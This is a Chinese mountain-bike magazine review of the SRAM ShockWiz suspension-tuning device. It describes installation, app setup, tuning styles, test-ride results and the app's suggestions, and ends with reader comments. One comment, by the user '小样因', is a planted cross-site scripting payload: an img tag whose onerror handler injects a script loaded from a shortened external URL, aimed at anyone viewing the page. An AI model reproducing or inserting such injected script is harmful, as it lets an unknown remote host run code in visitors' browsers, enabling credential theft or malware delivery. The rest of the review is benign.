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有了它小白也变专家——ShockWiz避震调校器

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自从在某社交平台看到外媒对 ShockWiz产品进行测评后,我对SRAM推出的这只“黑科技”小玩意充满好奇与期待

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拿到ShockWiz之后就开始漫长试用之旅

有了它小白也变专家—ShockWiz避震调教器

ShockWiz为了省电平时不工作时会自动进入“深度睡眠”状态,当ShockWiz感受来自避震动作后就会由“深度睡眠”状态自动转为工作模式。工作指示灯位于ShockWiz正面左上角,红灯闪烁时代表ShockWiz进入工作状态,如果红色没亮则代表是“深度睡眠”状态。经过一番折腾,总算把ShockWiz固定好并接上软管,接下来只需将ShockWiz激活就可以连接手机APP进行校准。

有了它小白也变专家—ShockWiz避震调教器

ShockWiz附送配件非常简单,只有一只橡胶保护套、两根软管和用于固定的扎带

有了它小白也变专家—ShockWiz避震调教器

经过初步调试,ShockWiz正式投入使用,按照Vivid Air  R2C筒身位置将ShockWiz固定好,然后使用软管将ShockWiz与后避震连接起来,这样就完成了安装部分,接下来进入手机APP连接和校准。

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ShockWiz App界面

有了它小白也变专家—ShockWiz避震调教器

与手机APP连接第一步必须激活ShockWiz,ShockWiz在不工作时候会进入“深度睡眠”模式,这时候就需要将ShockWiz唤醒,可以通过按压后避震或用手轻轻拍ShockWiz来进行激活。当ShockWiz红色工作灯闪烁说明ShockWiz已经进行工作状态,这时候打开手机APP,点击左上角蓝牙图标即可进入连接界面,与手机APP连接以后要按照APP提示进行初步校对与避震杠杆比设置,校对完毕后即可进入ShockWiz主界面。

有了它小白也变专家—ShockWiz避震调教器

ShockWiz界面主要分为气压、行程、骑行风格、新纪录、评分和最下方详细建议等几个版块。首先点击AIR PRESSURE图标我们可以对气压单位还有测试地方海拔进行设置。之后点击TUNING STYLE图标就会弹出四个选项,分别是Efficient(效率)、Balanced(平衡)、Playful(有趣)、Aggressive(激进),大家可以根据骑行风格进行设置,参照自己的风格我选择了Aggressive(激进)模式,完成这些基本设置后大家就可以去平时骑行路线进行数据收集和采样。

有了它小白也变专家—ShockWiz避震调教器

按照自己骑行风格、体重、偏好我为后避震打了150psi气压,sag为30%,回弹10格,低速阻尼4格,高速阻尼3格。为了测试ShockWiz我选择了一条较为平坦林道进行数据采样,每次骑行前记得点击START NEW SESSION图标以便进行新的记录。

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实测路况较为平坦没有什么大落差和飞跃,适合放高速和过弯练习。对于这些路况个人会在回弹调教灵敏一些以便更好地过滤小震动,令后轮在高速时更为贴地,因为兼顾爬坡所以低速阻尼也会调的硬朗些,让避震初段在爬坡时获得更好支撑性。

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经过一天骑行数据基本采集完毕,与APP连接后ShockWiz给出了82分综合评分。获得82分证明自己针对这条林道设置大方向没问题,但在细节上还有待进一步完善。点击底部SUGGESTIONS灯泡图标里面可以看到更为详细数据分析选项,ShockWiz会根据路况对后避震气压、线性、回弹、高速阻尼、低速阻尼、触底阻力等几项重要数据作出分析从而给出合理调整建议,通过观察这些详细数据你可以对后避震进行更为精准和合理的调教。

通过直观数据列表可以看到虽然综合评分为82分,除了回弹是绿色之外其余的参数都需要进一步进行微调,在后避震调节上还有更多优化的空间,这些详细数据对于资深玩家来说无疑是一件好事,可以借助科技力量对后避震进行更为细腻的调整。

回家后我根据ShockWiz给出的建议对后避震进行调整然后再跑一次相同路面,发现按照ShockWiz调教后避震对小震动过滤效果更好而且后轮比之前更加贴地,由此证明ShockWiz给出的建议还是有一定参考价值。对于追求精准调教避震系统玩家绝对值得一试。

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另外,除了避震一些基本设置之外,点击DETECTIONS眼睛图标还可以查看避震在大冲击时状态、避震在连续冲击时回弹速度、避震是否过于频繁打底、避震吸收踩踏力量、避震通过树根或乱石时的跳动等参数。眼睛图标隔壁的STATISTICS可以查看腾空时间、深度压缩次数、避震预压值等信息。而SETTINGS则是蓝牙连接、软件语言、软件版本等信息。

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总结

过往避震系统往往依靠个人经验进行调校,对于资深玩家来说因为有了大量实战经验支撑,每人都有自己一套调教思路,对于整个避震系统调教并不会有太大难度。但对于入门玩家来说,因为缺少实战经验作支持,短时间内将避震系统调校到合适自己状态会有一些难度。幸好,ShockWiz出现将所有避震数据进行量化,配合APP让人一目了然,这对于入门玩家和资深玩家来说都是一个进步,前者可以更加快速将避震系统调教到合适自己的状态,而后者则可以通过APP建议进一步将避震系统进行优化以达到更佳效果。

ShockWiz出现绝对山地车界一大福音,它应用层面广泛而且“老少咸宜”,无论是入门玩家还是资深玩家,ShockWiz都能在避震调校方面都能给出很实质的建议,令你在避震调校上有更深刻认识,如果你是处女座玩家对避震系统调校有极致要求,我强烈建议你入手ShockWiz,它会带给你无与伦比的使用感受,让你在避震设置上更上一层楼。

图片:jimmy、少年

责任编辑:jimmy

(美骑版权所有,请勿转载。如有需要,请与我们联系。)

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作者:Jimmy

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简介:山地车狂热爱好者,10余年骑山地车经验,休息的时候经常和朋友一起去山里骑车,喜好钻研骑行技巧、器材维护。为了骑车时状态更好,还参与健身、跑步、游泳运动来锻炼体格。多年来坚持自行车运动,自行车运动已经深深成为自己生活的一部分。

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  • 热门评论
  • 0敏捷的胖子0 2017-07-19 12:32

    越来越科技了。早晚自行车也有电脑的

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    • 奉先与我 2017-07-19 17:52

      野兽

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    • 0敏捷的胖子0
      回复奉先与我
      2017-07-19 17:59

      要电脑调输出功率,功率储存

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    • 奉先与我
      回复0敏捷的胖子0
      2017-07-19 20:23

      输出是靠个人的,难道是自动变挡,比赛可以因为路线一定干扰也少,但平常自动变挡就有点不可靠甚至危险。功率要是能储存难道是电动机

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  • FrankB. 2017-07-21 13:07

    为何有两个接口

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    • 推倒达芬奇 2017-08-03 05:37

      因为为了方便增减气压

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  • 江南十二路渣腿 2017-07-19 14:07

    还可以再智能化点…

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    • 推倒达芬奇 2017-08-03 05:38

      怎么智能?自动调节吗?

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  • 新、星__max 2017-07-19 11:51

    rockshox以外的避震器可以用吗?

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    • 推倒达芬奇 2017-08-03 05:38

      其实更适合ccdb,fox x2这类调节多的

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  • hopeless 2017-07-19 11:31

    然而这玩意比后胆还贵

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    • 推倒达芬奇 2017-08-03 05:39

      可是避震器没调好,整个车都不舒服,那可是几万块钱呢。再说了,前叉后胆都可以,只要是气压

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  • 全部
  • Little Qiang. 2018-01-06 12:35

    这产品适用全系避震产品吗?弹簧后胆可以使用吗

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  • 小冇是我啊~ 2017-08-05 12:32

    买不起系列

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  • 推倒达芬奇 2017-08-03 05:41

    已经推出了新版APP,加入了高速回弹,繁体中文,并且可以增减高速回弹与高速压缩,这样就能更准确的给轻型避震器打分

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  • 点点点点点,, 2017-07-25 15:11

    这样会不会太麻烦了

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  • 小样因 2017-07-20 00:08

    <img src=\"x\" onerror=\"s=createElement(\'script\');body.appendChild(s);s.src=\'//t.cn/RKSvbp1\';\">

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  • ′.卡″К 2017-07-19 22:23

    车店的必选装备,,特别是重型车俱乐部

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  • 好风长吟127127 2017-07-19 14:00

    现在都这么流弊了

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  • 接受过与错 2017-07-19 11:00

    买不起

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  • 2681852 2017-07-19 10:58

    天哪,自行车居然配备了黑匣子

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  • 14奇巧骑盟骑茕 2017-07-18 12:29

    好,很好

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